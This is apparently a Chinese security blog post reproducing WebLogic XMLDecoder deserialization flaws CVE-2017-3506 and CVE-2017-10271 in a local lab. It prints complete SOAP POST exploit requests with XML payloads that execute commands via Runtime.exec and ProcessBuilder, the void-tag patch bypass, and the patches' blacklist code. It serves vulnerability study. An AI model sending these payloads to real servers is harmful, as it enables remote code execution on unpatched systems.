CVE-2017-10271 WebLogic XMLDecoder反序列化
发表于:2025-07-21 | 分类: 漏洞复现

WebLogic XMLDecoder

前言

今天复现一下WebLogic XMLDecoder的漏洞,CVE-2017-10271是通过voidnew标签,对CVE-2017-3506(也是XMLDecoder反序列化的漏洞)补丁的绕过

环境配置

环境配置版本如下:
  • JDK7u21
  • webLogic 10.3.6

XmlEncoder和XmlDecoder

XmlDecoder/XmlEncoder是在JDK1.4版本中添加的XML格式序列化持久性方案,使用XMLEncoder来生成表示JavaBeans 组件的 XML文档,用XMLDecoder读取使用XMLEncoder创建的XML文档来获取JavaBeans

接下来我们使用一些Demo来看一看

XmlEncoder

XmlEncoder的demo代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;

public class testEncoder {
public static void main(String[] args) throws Exception {
FileOutputStream file = new FileOutputStream("result.txt");
XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file));
xmlEncoder.writeObject(new JButton("Hello World!"));
xmlEncoder.close();
}
}

我们序列化JButton类,得到的XML文档如下

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>Hello World!</string>
</object>
</java>

XmlDecoder

XmlDecoder的demo代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.beans.XMLDecoder;
import java.io.FileInputStream;

public class testDecoder {
public static void main(String[] args) throws Exception{
FileInputStream file = new FileInputStream("result.txt");
XMLDecoder xmlDecoder = new XMLDecoder(file);
Object o = xmlDecoder.readObject();
System.out.println(o);
xmlDecoder.close();
}
}

使用XMLDecoder读取序列化的XML文档后,获取JButton类并打印如下

1
javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@30dae81,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello World!,defaultCapable=true]

XML的基础属性

String标签

Hello World!字符串在XML中的表示为

1
<string>Hello World!</string>

Object标签

我们可以通过<object>标签来表示对象,class属性来指定具体的类(用于调用其内部方法),method属性来指定其具体的方法名(例如当构造函数的方法名为new时)

new JButton("Hello World!")对应的XML文档如下

1
2
3
<object class="javax.swing.JButton" method="new">
<string>Hello World!</string>
</object>

Void标签

我们可以头盖骨void标签来表示函数的调用、赋值等操作,method属性执行具体方法名称,对于JButton b = new JButton();b.setText("Hello, world");对应XML文档如下

1
2
3
4
5
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello World!</string>
</void>
</object>

array标签

通过array标签来表示数组,class属性指定其具体类,length属性指定数组长度,内部的void标签的index属性根据指定数组索引赋值,String[] s = new String[3];s[1] = "Hello World!";对应的XML文档如下

1
2
3
4
5
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello World!</string>
</void>
</array>

漏洞详情

漏洞原理

WebLogic的WLS Secutiry组件对外提供WebService的服务,其使用XMLDecoder来进行解析XML格式数据,若其存在反序列化漏洞,则导致RCE

漏洞Demo

这里我们看一个解析XML导致反序列化命令执行的Demo

1
2
3
4
5
6
7
8
9
10
11
12
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;

public class testDecoder {
public static void main(String[] args) throws Exception{
FileInputStream file = new FileInputStream("result.txt");
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
Object o = xmlDecoder.readObject();
xmlDecoder.close();
}
}

result.txt文件内容如下

1
2
3
4
5
6
7
8
9
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

看到运行解析文件后,成功命令执行

该XML解析后相当于执行以下代码

1
2
3
String[] cmd = new String[1];
cmd[0] = "Calc";
new ProcessBuilder(cmd).start();

漏洞复现

Weblogic 本质上是 Web Service 服务,报文内容类型是 SOAP 型 WebService 报文,所以` /wls-wsat/CoordinatorPortType `接口可以接收 XML 数据的请求包

CVE-2017-3506

影响版本

CVE-2017-3506的影响版本如下

  • Oracle WebLogic Server10.3.6.0.0
  • Oracle WebLogic Server12.1.3.0.0
  • Oracle WebLogic Server12.2.1.1.0
  • Oracle WebLogic Server12.2.1.2.0
漏洞复现

按照我们常规思路,我们构造的恶意文件会是这样的,通过Runtime.getRuntime.exec("calc")来执行命令,其中用Object来获取Runtime

1
2
3
4
5
6
7
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>calc</string>
</void>
</object>
</java>

我们构造的数据包就是这样的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 474

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>calc</string>
</void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

可以看到成功命令执行

CVE-2017-10271

影响版本
漏洞复现

在修复部分,看看解析标签是否有object,如果有就退出。在CVE-2017-10271需要绕过object标签,构造恶意XML文件如下

1
2
3
4
5
6
7
8
9
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

然后构造POST请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 482

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

可以看到成功命令执行

漏洞分析

server/lib/wls-wsat.war/WEB-INF/web.xml 文件中存在许多接口,这些接口都可以对 SOAP 报文进行处理,也就是这些接口都存在 Weblogic XMLDecoder 反序列化的漏洞

我们去到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest 方法中打个断点进行调试,这个方法对接口数据进行了初步的处理

此处的var1为我们构造的恶意xml数据,var2获取了xmlheader,即为text/xml,并将其转换成了列表形式,var3是从var2中获取WorkAreaConstants.WORK_AREA_HEADER所得到的,最终将var3放入readHeaderOld()中进行处理

跟进readHeaderOld,较为重要的部分只有以下这部分,在这部分之前本质上都是赋值与包装的过程,var4获取了恶意XML数据中的内容部分

我们跟进var6参数的构造,可以看到将恶意XML数据传入XMLDecoder的构造方法中

然后跟进receive方法

再跟进receiveRequest里的receiveRequest方法中

走入WorkContextEntryImpl.readEntry(var1)readEntry调用了readUTF方法,readUTF中对xmlDecoder调用了 readObject 方法,对 XML 数据进行反序列化解析,就会触发我们的payload

漏洞修复

CVE-2017-3506 补丁分析

这里补丁在 WorkContextXmlInputAdapter 中添加了 validate 验证,限制了 object 标签,从而限制通过 XML 来构造类

绕过方法很简单,将 object 修改成 void,也就是最开始漏洞复现的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

CVE-2017-10271 补丁分析

这里依然是进行黑名单判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
上一篇:
Log4j2远程代码执行
下一篇:
CVE-2025-32462/32463Sudo提权